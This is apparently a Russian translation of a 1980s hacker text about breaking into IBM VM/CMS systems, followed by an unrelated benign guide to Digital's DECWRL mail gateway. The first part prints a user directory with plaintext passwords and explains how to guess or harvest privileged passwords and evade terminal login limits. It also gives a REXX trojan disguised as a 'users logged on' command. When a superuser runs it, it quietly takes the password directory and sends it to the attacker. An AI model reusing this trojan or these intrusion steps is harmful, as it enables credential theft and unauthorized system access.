 MDISK 399 3380 060 024 PROFPK MR RADMIN   WADMIN   MADMIN            03131808
 MDISK 397 3380 219 002 PROFPK MR ALL      WADMIN   MADMIN            03131808
*
USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON
*
* 5664198 PSF
*
INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL
 LINK PDM470 191 193 RR
 LINK PDMREM1 191 194 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 193 293 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 839 020 VMSRES MR RSFCM1   WSFCM1                     03131808
*
USER PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON
*
* 5664198 PSF MAINTENANCE
*
INCLUDE EXPPROF
 ACCOUNT 1 SYSPROG
 MDISK 191 3380 814 011 VMSRES MR RPSFMAIN WPSFMAIN                   03131808
 MDISK 193 3380 825 004 VMSRES MR RPSFMAIN WPSFMAIN                   03131808
 MDISK 194 3380 829 010 VMSRES MR RPSFMAIN WPSFMAIN                   03131808
*
USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3800 PDM
*
INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL
*DEDICATE 470 470
```

```
 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 809 005 VMSRES MR RPDM470  WPDM470                    03131808
*
USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3820 PDM
*
 ACCOUNT 100 PSF
 OPTION ACCT ECMODE
 IPL GCS PARM AUTOLOG
 IUCV *SPL
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 595 595 RR
 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1                   03131808
*
USER PVM PVM 1024K 2M BG 50 ON ON ON ON
*
* 5748RC1 VM PASS-THROUGH FACILITY
*
INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 193 193 RR
 LINK MAINT 36E 191 MR
*
USER RSCS RSCS 1M 2M BG 64 ON ON ON ON
*
* 5748XP1 RSCS V1
*
 ACCOUNT 15 SYSTEM
 OPTION ACCT ECMODE
 IPL 191
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 19D 19D RR
 LINK MAINT 49E 49E RR
 MDISK 191 3380 105 002 VMSRES MR RRSCS    WRSCS    MRSCS             03131808
*
USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON
*
* 5664188 RSCS (VERSION 2)
*
 ACCOUNT 15 SYSTEM
 OPTION ECMODE ACCT BMX VCUNOSHR
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215 T OPERATOR
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 595 595 RR
 LINK MAINT 59F 191 RR
*
USER SMART SMART 2048K 2M CEG 64 ON ON ON ON
*
* 5796PNA VM REAL TIME MONITOR SYSTEM
*
INCLUDE EXPPROF
```

```
 ACCOUNT 999
 LINK MAINT 319 319 RR
 MDISK 191 3380 848 026 VMPK01 MR RSMART   WSMART   MSMART             03131808
*
USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \
*
* 5748XXJ SQL/DS ADMINISTRATOR
*
 ACCOUNT 26
 OPTION MAXCONN 25
 IUCV ALLOW
 IUCV *IDENT SQLDBA GLOBAL
 IPL CMS
 CONSOLE 009 3215 T OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 001 010 SQLPK  W                                        03131808
 MDISK 193 3380 011 035 SQLPK  R  RSQL     WSQL                         03131808
 MDISK 195 3380 046 013 SQLPK  RR RSQL     WSQL     MSQL                03131808
 MDISK 200 3380 059 034 SQLPK  R  RSQL     WSQL                         03131808
 MDISK 201 3380 093 011 SQLPK  R  RSQL     WSQL                         03131808
 MDISK 202 3380 104 100 SQLPK  R  RSQL     WSQL                         03131808
*
USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON
*
* 5748XXJ SQL/DS USER MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 27
 OPTION REALTIMER
 IUCV SQLDBA
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 204 003 SQLPK  W                                        03131808
*
USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ACCT ECMODE
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 001 011 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 193 3380 012 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 100 3380 019 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 101 3380 026 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 200 3380 033 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
*
USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
 ACCOUNT 999
 OPTION ACCT BMX ECMODE
 IPL CMS
 CONSOLE 009 3215
 SPOOL 001 2540 READER *
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH
 SPOOL 0D0 2540 PUNCH
 SPOOL 0D1 2540 PUNCH
 SPOOL 00E 1403
 SPOOL 0E0 1403
 SPOOL 0E1 1403
 SPOOL 0E2 1403
 SPOOL 0E3 1403
 SPOOL 0E4 1403
 SPOOL 0E5 1403
```

```
 SPOOL 0E6 1403
 SPOOL 0E7 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 040 006 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 192 3380 046 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 193 3380 049 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 194 3380 052 044 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
*
USER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 191 124 RR
 LINK VMBACKUP 194 294 RR RVMBACKU
 LINK VMBACKUP 193 293 RR RVMBACKU
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808
 MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808
*
USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO1 DEMO1
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 107 003 VMSRES MR RDEMO1   WDEMO1   MDEMO1             03131808
*
USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO2 DEMO2
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 859 003 VMSRES MR RDEMO2   WDEMO2   MDEMO2             03131808
*
USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO3 DEMO3
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 862 003 VMSRES MR RDEMO3   WDEMO3   MDEMO3             03131808
*
```

```
USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO4 DEMO4
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 865 003 VMSRES MR RDEMO4   WDEMO4   MDEMO4             03131808
*
USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX ECMODE ACCT
 MDISK 191 3380 110 005 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 200 3380 115 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 300 3380 122 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
*
USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK VMTAPE 191 193 MR
 LINK VMTAPE 200 200 MW
 LINK VMTAPE 300 300 MW
 MDISK 191 3380 129 005 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808
 MDISK 192 3380 134 007 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808
*
USER VMMAP VMMAP 2M 4M G 64 ON ON ON ON
*
* 5664191 VMMAP
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 193 193 RR
 MDISK 191 3380 639 024 VMSRES MR RVMMAP   WVMMAP   MVMMAP             03131808
*
USER VTAM VTAM 5M 16M G 64 ON ON ON ON
*
* 5664280 VTAM
*
 ACCOUNT VTAM GCS
 OPTION ECMODE DIAG98 MAXCONN 400
 IUCV *CCS P M 10
 IUCV ANY P M 0
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 298 191 RR
 LINK MAINT 29A 29A RR
 LINK MAINT 595 595 RR
*
USER VM3812 VM3812 3M 4M BG 64 ON ON ON ON
*
* 5798DTE VM3812 SERVICE MACHINE
*
INCLUDE EXPPROF
```

```
 ACCOUNT 15 SYSTEM
 MDISK 191 3380 813 004 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 192 3380 817 007 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 193 3380 824 020 VMPK01 MR ALL      WVM3812                     03131808
*    ADD USER ID ------
USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 001 030 EDMD01 MR VSE                                 03131808
 MDISK 192 3380 873 012 VMSRES MR VSE                                 03131808
USER PENG PENG  2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 553 010 VMSRES MR PENG PENG                           03131808
*
USER MOESERV MOESERV  2M 16M G 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 996 MOE
 MDISK 191 3380 544 002 VMPK01 MR MOESERV MOESERV                     03131808
*
USER VTAMUSER CCC      2M 8M G 64 ON ON ON ON
*
* 5668814 CSP
*
 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 134 032 VMPK01 MW VTAM1  WVTAM1   MVTAM1              03131808
USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1              03131808
 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1              03131808
```

Пояснение к таблицам

Если вам нужно объяснение к этим двум таблицам, смотрите следующим образом:

```
        |------User ID (идентификатор пользователя)
        |     |------- Пароль этого пользователя
        ^     ^
  USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
                       ^  ^  ^
                       |  |  |---Уровень привилегий
                       |  |--Максимальный объём памяти
                       |
                       |----Объём памяти по умолчанию

   INCLUDE EXPPROF  <-----То, что вы видите при входе в систему
   ACCOUNT 101
   MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1
          ^                          ^       ^      ^
          |                          |       |      |---Пароль mult минидиска
          |                          |       |---Пароль записи минидиска
          |                          |---Пароль чтения минидиска
          |--Минидиск пользователя

   MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1
```

Дальнейшие действия

К счастью, я проверил вторую таблицу на 4 системах VM и она работает. Желаю и вам удачи!

Конечно, поскольку все мы являемся обычными пользователями, первое, что нужно знать — как получить привилегии: либо подбором пароля, либо случайно раздобыв пароли привилегированных пользователей.

Хотя CP/CMS использует пароли для контроля доступа, некоторые пароли приходится хранить в командном языке REXX (файлы EXEC). Выглядит это примерно так:

```
CP LINK VTAMUSER 191 121 RR VTAM1
```

Если подключение минидиска прошло успешно:

```
AC 121 B
FILEL * * B
```

Тогда вы увидите все файлы, принадлежащие VTAMUSER. Как правило, люди достаточно ленивы, чтобы использовать один и тот же пароль в нескольких местах, поэтому, прочитав эти файлы, вы можете обнаружить и пароль CP. ПОПРОБУЙТЕ!

Однако IBM не настолько глупа, чтобы позволить любому привилегированному пользователю произвольно создавать учётные записи. Система ограничивает максимум 8 суперпользователей, способных это делать. Их список можно найти здесь:

```
DIRMAINT DATA Y2
```

Только эти DIRM-STAFF могут открывать учётные записи с консоли. Если другой пользователь попытается войти с терминала, он будет немедленно отключён, даже зная пароль. И только эти сотрудники имеют два режима работы:

```
DIRM
```

Один — режим обычного пользователя, другой — операционный режим (привилегированный). Поэтому нужно обмануть ОС, заставив её думать, что вы подключились НЕ с терминала. Наш способ — использовать TELNET. Обычно этот пакет называется TCPIP. Делайте так:

```
TELNET yourhost
```

Система снова запросит авторизацию. Если вы войдёте с идентификатором и паролем суперпользователя, ОС не определит, что вы подключены с терминала, и пустит вас! Самое важное: IBM хранит все идентификаторы и пароли пользователей в файле:

```
USER DIRECT
```

Как правило, этот файл хранится на минидиске DIRMAINT и является текстовым!!! Не знаю почему, но он действительно не зашифрован!!!! Невероятно, но факт...

Получив этот файл, вы будете знать пароли всех пользователей и всю информацию об их учётных записях. Думаю, открывать новые учётные записи было бы слишком нагло! Бедный я — я так делал и трижды лишался привилегий. Хотя способ вернуть привилегии существует: сначала нужно найти привилегированный идентификатор, чтобы записать в него свой файл. Затем создайте в нём EXEC-файл. Имя этого файла должно совпадать с какой-нибудь часто используемой командой. Если обычный пользователь её введёт — ничего не произойдёт, но если суперпользователь выполнит её — файл сделает нужное вам действие! Вот пример:

Обратите внимание: везде, где вы видите `(cut)`, это означает, что строка была слишком длинной и её пришлось разбить. Когда встречаете `(cut)`, возьмите строку ниже и присоедините её к концу строки с `(cut)` (убрав само слово `(cut)`).

```
----------------------------------Cut Here-------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
TRACE O
USER  = 0
SW    = 1
S     = 1
```

```
PARSE UPPER ARG NAM GARBAGE
IF NAM = ' ' THEN signal qname
PO = INDEX(NAM,'*')
IF PO = 0 THEN DO
   Q NAM
   EXIT
  END
T = PO - 1
IF T= 0 THEN signal qname
NALL = SUBSTR(NAM,1,T)
EXECIO '* CP (STRING Q N '
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut)
    ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL & (cut)
         SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(NB.N,1,T)=NALL & (cut)
         SUBSTR(space(NB.N),1,4)^='LOGO' & SPACE
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
         SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(ND.N,1,T)=NALL & (cut)
         SUBSTR(space(ND.N),1,4)^='LOGO' SPACE(L
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) ' SPECIFIED LOGON USERS - (cut)
         - - - - - - - - - - ->'
say MM
SAY
SAY
EXIT
QNAME:
/* DISPLAY THE NUMBER OF USERS LOGGED ON */
USER  = 0
SW    = 1
S     = 1
EXECIO '* CP (STRING Q N '
IF USERID() ='MAINT' THEN SIGNAL NJ  /*super user id */
IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */
IF USERID() ='LIU' THEN SIGNAL NJ    /*supr userid */
IF USERID() ='PMAINT' THEN SIGNAL NJ /*super user id*/
IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user id*/
SIGNAL JP
NJ:
CP SET IMSG OFF
CP SET MSG OFF
EXEC DIRMAINT GET DIRMAINT NOLOCK
SLEEP 2  SEC
CP TRAN     USERID() ALL yourid   /* to your own id*/
CP SET IMSG ON
CP SET MSG ON
JP:
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
         PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N (cut)
         '-' LC.N ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
```

```
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ='VTAM' THEN SELECT
      WHEN (S+0)//4 = 1 THEN DO
      LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
      WHEN (S+0)//4 = 2 THEN DO
      A.S = ' ' ; S = S+1 ; A.S = ' '   ;S=S+1 ; A.S =' ' ; S=S+1 ;END
      WHEN (S+0)//4 = 3 THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;
      WHEN (S+0)//4 = 0 THEN DO; A.S = ' ' ; S=S+1 ; END
   END
   IF LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(space(NA.N),1,4)^='LOGO' & (cut)
         SPACE(LA.N)^=SPACE(NA.N) THEN
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
         SPACE(LB.N)^=SPACE(NB.N) THEN
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(space(NC.N),1,4)^='LOGO' & (cut)
         SPACE(LC.N)^=SPACE(NC.N) THEN
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - - - ' RIGHT(USER,3,0) ' LOGON  USERS - - - - (cut)
         - - - - - - - - - - ->'
say  MM
SAY
exit
concate:
DO I = 1 TO S-1 BY 4
   IF I+1 < S   THEN   P=I+1   ;      ELSE A.P = ' '
   IF I+2 < S   THEN   Q=I+2   ;      ELSE A.Q = ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR= ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR=INSERT(A.I,STR,1)       ;      STR=INSERT(A.P,STR,21)
   STR=INSERT(A.Q,STR,41)      ;      STR=INSERT(A.R,STR,61)
   SAY STR
END
return
-----------------------------------Cut Here-------------------------------------
```

Заключение

Ну вот, собственно, и всё... К сожалению, нам не удалось выяснить, как установить backdoor в IBM VM/CMS, чтобы навсегда сохранить привилегии. Жаль... но мы рады поделиться своим опытом с хакерами!

С уважением,

Goe

Почтовый шлюз DECWRL

Автор: Dedicated Link

20 сентября 1989 г.

Введение

DECWRL — это почтовый шлюзовый компьютер, которым управляет Западная исследовательская лаборатория компании Digital в Пало-Альто, штат Калифорния. Его назначение — обеспечивать обмен электронной почтой между Digital и «внешним миром».

DECWRL подключён к внутренней сети Digital Easynet, а также к ряду внешних сетей электронной почты. Пользователи Digital могут отправлять исходящую почту, адресуя её `DECWRL::"внешний-адрес"`; пользователи Digital могут также получать почту, попросив своих корреспондентов маршрутизировать её через DECWRL. Подробности входящей почты сложнее и рассматриваются ниже.

Крайне важно, чтобы сотрудники Digital были законопослушными гражданами подключённых сетей. Эти сети опираются на честность нашего сообщества пользователей, чтобы не вводить более жёсткий контроль над использованием шлюза. Важнейшее правило — «никаких цепных писем», — но есть и другие правила в зависимости от того, является ли подключённая сеть коммерческой или некоммерческой.

Текущий объём трафика (сентябрь 1989 г.) составляет около 10 000 почтовых сообщений в день и около 3 000 сообщений USENET в день. Объём почты через шлюз удваивался каждый год начиная с 1983 года. DECWRL в настоящее время представляет собой компьютер Vax 8530 с 48 мегабайтами оперативной памяти, 2500 мегабайтами дискового пространства, 8 модемными портами по 9600 бод (Telebit) и различными сетевыми подключениями. В ближайшее время планируется переход на систему Vax 8650. В качестве базовой операционной системы используется Ultrix 3.0.

Администрирование

У шлюза есть инженерный персонал, но нет административного или канцелярского. Они прилагают все усилия для поддержания работоспособности системы, однако не располагают ресурсами для ответа на телефонные запросы или проведения обучения.

Периодически публикуются отчёты о состоянии системы в группе новостей USENET `dec.general`. Обычно в течение дня-двух различные помощники копируют эти отчёты в конференцию VAXNOTES «gateways».

Как отправить почту

DECWRL подключён к довольно большому числу различных почтовых сетей. Если бы вы были подключены непосредственно к нему, можно было бы вводить адреса напрямую, например:

```
To: strange!foreign!address.
```

Но поскольку вы не подключены напрямую к шлюзу, необходимо отправлять почту так, чтобы по прибытии на шлюз она отправлялась так, словно этот адрес был введён локально.

Отправка из VMS

Если вы пользователь VMS, следует использовать NMAIL, поскольку почта VMS не умеет повторно ставить в очередь и повторять попытки отправки при перегрузке или разрыве сети. Из VMS адресуйте почту следующим образом:

```
To: nm%DECWRL::"strange!foreign!address"
```

Кавычки (") важны — они не дают VMS самостоятельно интерпретировать `strange!foreign!address`. Внутри почтовой программы это работает как описано. При вводе напрямую в командную строку DCL следует учитывать, что DCL любит удалять кавычки — поэтому нужно заключить весь адрес в кавычки, а каждую кавычку, которая должна быть в адресе, удвоить:

```
$ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello"
```

Обратите внимание на три кавычки подряд после `foreign!addr`: первые две образуют одну кавычку в адресе, третья завершает сам адрес (парная кавычке перед `nm%`).

Вот типичные адреса исходящей почты при отправке из системы VMS:

```
To: nm%DECWRL::"lll-winkin!netsys!phrack"
To: nm%DECWRL::"postmaster@msp.pnet.sc.edu"
To: nm%DECWRL::"netsys!phrack@uunet.uu.net"
To: nm%DECWRL::"phrackserv@CUNYVM.bitnet"
To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"
```

Отправка из Ultrix

Если ваша система Ultrix настроена соответствующим образом, можно просто отправить почту напрямую на внешний адрес, и почтовое программное обеспечение само позаботится о маршрутизации через шлюз. Большинство систем Ultrix в Corporate Research и кластере Пало-Альто настроены именно так.

Чтобы выяснить, настроена ли ваша система Ultrix подобным образом, просто попробуйте — и посмотрите, что получится. Если не сработает, уведомление придёт почти мгновенно.

> ***ПРИМЕЧАНИЕ:*** *Почтовая система Ultrix чрезвычайно гибка: она практически полностью настраивается пользователем. Это ценно для заказчиков, но крайне затрудняет написание универсальных инструкций, поскольку локальные изменения могут существенно отличаться от поставляемого разработчиком варианта. Одно из популярных изменений — изменение смысла символа кавычки (") в адресах Ultrix. Одни системы считают следующие два адреса идентичными:*
> ```
> *site1!site2!user@host.dec.com*
> ```
> *и*
> ```
> *"site1!site2!user"@host.dec.com*
> ```
> *другие же настроены так, что работает только одна из форм. Все приведённые примеры используют кавычки. Если примеры не работают, попробуйте их без кавычек — возможно, ваша система Ultrix интерпретирует кавычки иначе.*

Если в вашей системе Ultrix есть IP-соединение с Пало-Альто (проверьте командой `/etc/ping decwrl.dec.com`), можно маршрутизировать почту на шлюз через IP. Это выгодно тем, что заголовки вашей почты Ultrix попадут на шлюз напрямую, минуя конвертацию в заголовки DECNET и обратно. Делается это так:

```
To: "alien!address"@decwrl.dec.com
```

Кавычки обязательны лишь в том случае, если внешний адрес содержит символ `!`, но не мешают, даже если они лишние. Если внешний адрес содержит символ `@`, его нужно заменить на `%`. Например, чтобы отправить через IP письмо на `joe@widget.org`, адресуйте его:

```
To: "joe%widget.org"@decwrl.dec.com
```

Если в вашей системе Ultrix есть только соединение DECNET с Пало-Альто, адресуйте почту примерно так же, как это делают пользователи VMS, но без префикса `nm%`:

```
To: DECWRL::"strange!foreign!address"
```

Вот типичные адреса исходящей почты для системы Ultrix с IP-доступом. Системы Ultrix без IP-доступа должны использовать тот же синтаксис, что и пользователи VMS, но без `nm%` в начале адреса:

```
To: "lll-winken!netsys!phrack"@decwrl.dec.com
To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com
To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com
To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com
To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com
```

Подробнее об использовании других сетей

Все компьютерные сети мира более или менее связаны между собой, поэтому провести чёткие границы между ними затруднительно. Вопрос о том, где заканчивается Интернет и начинается UUCP, — дело интерпретации.

Для целей отправки почты удобно разделить сетевую вселенную на следующие категории:

Easynet — внутренняя сеть DECNET компании Digital. Характеризуется адресами вида `УЗЕЛ::ПОЛЬЗОВАТЕЛЬ`. Easynet может использоваться в коммерческих целях.

Internet — совокупность сетей, включающая старую ARPAnet, NSFnet, CSnet и другие. Большинство международных исследовательских, конструкторских и образовательных организаций так или иначе подключены к Интернету. Характеризуется адресами вида `пользователь@сайт.поддомен.домен`. Сам Интернет не может использоваться в коммерческих целях.

UUCP — весьма примитивная сеть без какого-либо управления, построенная на автодозвонщиках, соединяющих компьютеры друг с другом. Характеризуется адресами вида `место1!место2!пользователь`. Сеть UUCP может использоваться в коммерческих целях при условии, что ни один из промежуточных узлов не возражает против этого.

USENET — не сеть как таковая, а программный уровень, построенный поверх UUCP и Интернета.

BITNET — сеть на базе IBM, объединяющая преимущественно образовательные учреждения. Пользователи Digital могут отправлять почту в BITNET как в Интернет, однако пользователям BITNET нужны специальные инструкции для обратного процесса. BITNET не может использоваться в коммерческих целях.

Fidonet — сеть персональных компьютеров. Автор не уверен в статусе коммерческого использования Fidonet и в его надёжности.

Домены и доменная адресация

Существует конкретная сеть под названием «Интернет»; она отчасти связана с тем, что раньше называлось «ARPAnet». Интернет-стиль адресации достаточно гибок, так что люди используют его и для адресации в других сетях — в результате по одному лишь адресу бывает крайне трудно определить, через какую сеть он пройдёт. При этом словосочетание «интернет-адрес» означает не «почтовый адрес некоего компьютера в Интернете», а «почтовый адрес в стиле, принятом в Интернете». Терминология запутана ещё и тем, что слово «адрес» означает одно для строителей сетей и совершенно иное для их пользователей. В данном файле «адрес» — это что-то вроде `mike@decwrl.dec.com`, а не `192.1.24.177` (что сетевые инженеры называют «IP-адресом»).

